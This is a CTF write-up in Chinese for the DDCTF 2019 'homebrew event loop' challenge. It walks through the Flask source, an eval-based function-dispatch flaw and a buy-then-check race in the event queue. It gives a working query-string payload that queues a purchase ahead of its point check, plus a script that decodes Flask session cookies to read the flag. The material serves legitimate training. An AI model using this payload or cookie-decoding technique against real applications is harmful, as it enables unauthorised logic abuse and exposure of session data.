BUUCTF--[DDCTF 2019]homebrew event loop解题步骤详解
查看源代码
1 from flask import Flask, session, request, Response
2 import urllib
3
4 app = Flask(__name__)
5 app.secret_key = '*********************' # censored
6 url_prefix = '/d5afe1f66147e857'
7
8
9 def FLAG():
10 return '*********************' # censored
11
12
13 def trigger_event(event): #trigger_event:标识触发事件,取值为 INSERT、UPDATE 或 DELETE;
14 session['log'].append(event)
15 if len(session['log']) > 5:
16 session['log'] = session['log'][-5:]
17 if type(event) == type([]):
18 request.event_queue += event
19 else:
20 request.event_queue.append(event)
21
22
23 def get_mid_str(haystack, prefix, postfix=None):
24 haystack = haystack[haystack.find(prefix)+len(prefix):]
25 if postfix is not None:
26 haystack = haystack[:haystack.find(postfix)]
27 return haystack
28
29
30 class RollBackException:
31 pass
32
33
34 def execute_event_loop():
35 valid_event_chars = set(
36 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
37 resp = None
38 while len(request.event_queue) > 0:
39 # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
40 event = request.event_queue[0]
41 request.event_queue = request.event_queue[1:]
42 if not event.startswith(('action:', 'func:')):
43 continue
44 for c in event:
45 if c not in valid_event_chars:
46 break
47 else:
48 is_action = event[0] == 'a'
49 action = get_mid_str(event, ':', ';')
50 args = get_mid_str(event, action+';').split('#')
51 try:
52 event_handler = eval(
53 action + ('_handler' if is_action else '_function'))
54 ret_val = event_handler(args)
55 except RollBackException:
56 if resp is None:
57 resp = ''
58 resp += 'ERROR! All transactions have been cancelled. <br />'
59 resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
60 session['num_items'] = request.prev_session['num_items']
61 session['points'] = request.prev_session['points']
62 break
63 except Exception, e:
64 if resp is None:
65 resp = ''
66 # resp += str(e) # only for debugging
67 continue
68 if ret_val is not None:
69 if resp is None:
70 resp = ret_val
71 else:
72 resp += ret_val
73 if resp is None or resp == '':
74 resp = ('404 NOT FOUND', 404)
75 session.modified = True
76 return resp
77
78
79 @app.route(url_prefix+'/')
80 def entry_point():
81 querystring = urllib.unquote(request.query_string)
82 request.event_queue = []
83 if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
84 querystring = 'action:index;False#False'
85 if 'num_items' not in session:
86 session['num_items'] = 0
87 session['points'] = 3
88 session['log'] = []
89 request.prev_session = dict(session)
90 trigger_event(querystring)
91 return execute_event_loop()
92
93 # handlers/functions below --------------------------------------
94
95
96 def view_handler(args):
97 page = args[0]
98 html = ''
99 html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
100 session['num_items'], session['points'])
101 if page == 'index':
102 html += '<a href="./?action:index;True%23False">View source code</a><br />'
103 html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
104 html += '<a href="./?action:view;reset">Reset</a><br />'
105 elif page == 'shop':
106 html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
107 elif page == 'reset':
108 del session['num_items']
109 html += 'Session reset.<br />'
110 html += '<a href="./?action:view;index">Go back to index.html</a><br />'
111 return html
112
113
114 def index_handler(args):
115 bool_show_source = str(args[0])
116 bool_download_source = str(args[1])
117 if bool_show_source == 'True':
118
119 source = open('eventLoop.py', 'r')
120 html = ''
121 if bool_download_source != 'True':
122 html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
123 html += '<a href="./?action:view;index">Go back to index.html</a><br />'
124
125 for line in source:
126 if bool_download_source != 'True':
127 html += line.replace('&', '&').replace('\t', ' '*4).replace(
128 ' ', ' ').replace('<', '<').replace('>', '>').replace('\n', '<br />')
129 else:
130 html += line
131 source.close()
132
133 if bool_download_source == 'True':
134 headers = {}
135 headers['Content-Type'] = 'text/plain'
136 headers['Content-Disposition'] = 'attachment; filename=serve.py'
137 return Response(html, headers=headers)
138 else:
139 return html
140 else:
141 trigger_event('action:view;index')
142
143
144 def buy_handler(args):
145 num_items = int(args[0])
146 if num_items <= 0:
147 return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
148 session['num_items'] += num_items
149 trigger_event(['func:consume_point;{}'.format(
150 num_items), 'action:view;index'])
151
152
153 def consume_point_function(args):
154 point_to_consume = int(args[0])
155 if session['points'] < point_to_consume:
156 raise RollBackException()
157 session['points'] -= point_to_consume
158
159
160 def show_flag_function(args):
161 flag = args[0]
162 # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
163 return 'You naughty boy! ;) <br />'
164
165
166 def get_flag_handler(args):
167 if session['num_items'] >= 5:
168 # show_flag_function has been disabled, no worries
169 trigger_event('func:show_flag;' + FLAG())
170 trigger_event('action:view;index')
171
172
173 if __name__ == '__main__':
174 app.run(debug=False, host='0.0.0.0')
代码太多,我们直接先看应该怎么获取flag
166 def get_flag_handler(args):
167 if session['num_items'] >= 5:
168 # show_flag_function has been disabled, no worries
169 trigger_event('func:show_flag;' + FLAG())
170 trigger_event('action:view;index')
if session[‘num_items’] >= 5的话,flag就在session里面
153 def consume_point_function(args):
154 point_to_consume = int(args[0])
155 if session['points'] < point_to_consume:
156 raise RollBackException()
157 session['points'] -= point_to_consume
作用是判断session中的points是否小于我们想要购买的数量。如果小于,那么就减掉。我们购买5个flag。但是。只有3个金币。它会先购买5个。然后判断钱是不是够,不够就再减去。
然后再从路由来看
@app.route(url_prefix+'/')#使用 route() 装饰器告诉 Flask 什么样的URL 能触发我们的函数
def entry_point():
querystring = urllib.unquote(request.query_string)
#urllib.unquote :urlencode逆向,就是把%40转化为@(字符串被当作url提交时会被自动进行url编码处理,在python里也有个urllib.urlencode的方法,可以很方便的把字典形式的参数进行url编码)
#request.query_string:它得到的是,url中?后面所有的值,最为一个字符串,比如action:index;False#False
request.event_queue = [] #定义一个数组
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
#如果这个url?后面的值为空 或者 这个url?后面的值不是以action开头 或者 这个url?后面的值长度大于100
querystring = 'action:index;False#False'
if 'num_items' not in session: #如果session里面还没有num_items这个key
session['num_items'] = 0 #钻石数量
session['points'] = 3 #积分数量
session['log'] = []
request.prev_session = dict(session) #新建一个字典request.prev_session使其的值为字典session的值
trigger_event(querystring) #调用了trigger_event
return execute_event_loop() #进入到execute_event_loop函数
这里调用了trigger_event函数
def trigger_event(event):
session['log'].append(event)#将event添加到session['log']这个列表中
if len(session['log']) > 5: #如果列表session['log']中的元素数量大于等于5
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
再跟进一下execute_event_loop函数
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
action的话会直接返回第一个;之后的内容
参数这里用#做了一下分割,并返回一个列表到args里
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
这里有一个任意函数调用。action传入之后会有一个后缀拼接,但是可以直接用#绕过,因为是eval执行的,eval会把这个字符串当作python代码执行,所以后缀就绕过了。所以可以action,trigger_event#;来调用自己绕过后缀拼接。从而执行多个函数
发现存在逻辑漏洞:就是我们的钱无论够不够,它都会给我们先加上,然后扣掉
我们发现第148行,无论我们的钱够不够,都先给我们加上,之后再扣掉
若让eval()去执行trigger_event(),并且在后面跟两个命令作为参数,分别是buy和get_flag,那么buy和get_flag便先后进入队列。
根据顺序会先执行buy_handler(),此时consume_point进入队列,排在get_flag之后,我们的目标达成。
最终payload为:
?action:trigger_event%23;action:buy;5%23action:get_flag;
使用bp抓包可以抓到session
使用脚本解密
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
原文来自CSDN博主「Uzero.」|侵删
●
●
●
●
●